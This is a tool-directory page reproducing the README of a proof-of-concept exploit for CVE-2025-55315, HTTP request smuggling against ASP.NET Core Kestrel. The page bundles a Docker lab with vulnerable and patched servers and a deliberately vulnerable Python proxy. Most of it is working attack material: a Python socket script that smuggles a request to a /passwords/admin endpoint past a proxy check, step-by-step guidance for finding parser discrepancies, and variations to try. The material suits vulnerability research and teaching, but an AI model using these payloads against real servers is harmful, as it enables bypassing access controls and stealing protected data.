Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55315 — Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers. | Kitploit
Tools/GitHubGitHub/martinfabianionut/cve-2025-55315
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
18 months agoNot yet reviewed

CVE-2025-55315

Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.

📊 Presentation

View Interactive Prezi Presentation

Prezi Presentation

🎥 Click the badge above to view the full interactive presentation on Prezi

Project Structure

  • Api - Consolidated ASP.NET Core API with two Dockerfiles:
    • Dockerfile.vulnerable - Uses .NET 10.0.100-rc.1 (vulnerable to CVE-2025-55315)
    • Dockerfile.patched - Uses .NET 10.0.100 (patched version)
  • PythonProxy - Vulnerable proxy used for CVE-2025-55315 exploit demonstration (favors Content-Length over Transfer-Encoding)
  • YarpProxy - YARP reverse proxy for testing load balancing (not part of the exploit)

Note: The vulnerability is in the .NET runtime's HTTP parser (Kestrel), not in the application code. Both versions use identical source code but different .NET runtime versions.

Quick Start

root@kitploit:~
# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

See DOCKER.md for detailed Docker usage instructions.

Exploit Demonstration

The Python proxy demonstrates CVE-2025-55315 by favoring Content-Length over Transfer-Encoding, enabling HTTP request smuggling:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

This payload smuggles a second request to /passwords/admin past the proxy's security check, exploiting the discrepancy in how the proxy and backend server parse the request.

Visual Request Interpretation

Here's how the proxy and backend server interpret the same payload differently:

Key Differences:

Detailed Explanation:

  • Proxy: Accepts 2;\n as a valid chunk size declaration (2 bytes) → Reads xx as the 2-byte chunk body → Moves to next chunk (39)
  • Backend: Rejects \n as line ending → Chunk size is still 2 but header extends through 2;\nxx\r\n → Reads 39 as part of the chunk body → 0\r\n terminates the chunk
  • Result: The smuggled GET /passwords/admin request is hidden in what the backend treats as chunk data, but gets parsed as a separate request after chunk processing completes

The smuggled GET /passwords/admin request is hidden in what the proxy thinks is chunk body data, but the backend parses it as a separate HTTP request.

Identifying the Vulnerability

Before exploiting, you need to identify which HTTP header (Content-Length or Transfer-Encoding) different components favor. Here's a step-by-step guide:

Step 1: Test Header Priority

Send a request with both Content-Length and Transfer-Encoding: chunked headers to see which one each component respects:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Analysis:

  • If the server processes "Fa" (2 bytes) → It favors Content-Length
  • If the server processes "Fabian" (full chunked body) → It favors Transfer-Encoding

Step 2: Test Each Component

Test all components in your architecture to find discrepancies:

Test Unsafe API (Port 5001)

root@kitploit:~
# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Test Safe API (Port 5002)

root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly

Test Python Proxy (Port 5027)

root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

Test YARP Proxy (Port 5028)

root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict

Step 3: Use Burp Suite for Manual Testing

  1. Intercept Request: Capture a normal POST request to /passwords
  2. Modify Headers: Add both headers manually:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. Set Body: Use chunked encoding format:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. Compare Responses: Send to different endpoints and analyze which body portion each processes
  2. Identify Discrepancy: If proxy reads 2 bytes but backend reads full chunk, you have a desync vulnerability

Step 4: Craft the Exploit

Once you identify:

  • Proxy: Favors Content-Length (reads only N bytes)
  • Backend: Favors Transfer-Encoding (reads chunked body)

You can smuggle a second request that the proxy never sees but the backend processes.

Step 5: Verify the Exploit

Run the full exploit payload (see "Exploit Demonstration" section above) and confirm:

  • First response: Normal POST result
  • Second response: Admin endpoint data (smuggled request succeeded)

Tools Recommended

  • Burp Suite: Manual request crafting and header manipulation
  • Python socket: Low-level control for precise HTTP formatting
  • curl with --data-binary: Quick command-line testing
  • Wireshark: Packet-level analysis to see exactly what each component receives

Alternative Exploit Variations

The exploit can be crafted in multiple ways. Experiment with different approaches:

With Explicit Content-Length

root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

Why It Works Without Content-Length

  • Proxy: Accepts \n as valid line ending → Treats 2;\n as chunk size → Reads 2 bytes (xx)
  • Backend: Rejects \n → Chunk header extends through 2;\nxx\r\n → 39 becomes chunk body → 0\r\n ends chunk
  • Result: Smuggled request hidden in chunk body, parsed as separate request by backend

Experimentation Ideas

Try different desync scenarios by modifying PythonProxy/proxy_server.py:

  • CL.TE: Proxy uses Content-Length, backend uses Transfer-Encoding
  • TE.CL: Proxy uses Transfer-Encoding, backend uses Content-Length (try crafting your own Apis)
  • TE.TE: Both use Transfer-Encoding but parse differently (like \n vs \r\n)

Experiment with:

  • Different chunk sizes and formats
  • Multiple smuggled requests in sequence
  • Various HTTP methods (GET, POST, PUT, DELETE) - you can add them in the Apis
  • Whitespace and special characters
Download Tool

PROXY INTERPRETATION (Accepts \n as valid line ending):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

BACKEND INTERPRETATION (Rejects \n, requires \r\n):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
ComponentChunk Size 2;\nBytes ReadWhat Happens
Proxy✅ Valid chunk size2 bytes (xx)Treats 2;\n as complete chunk header, reads 2 bytes, continues to next chunk
Backend❌ Invalid line endingStill reads as 2 byte chunkChunk header doesn't end until xx\r\n, so 39 becomes the chunk body, 0 ends the chunk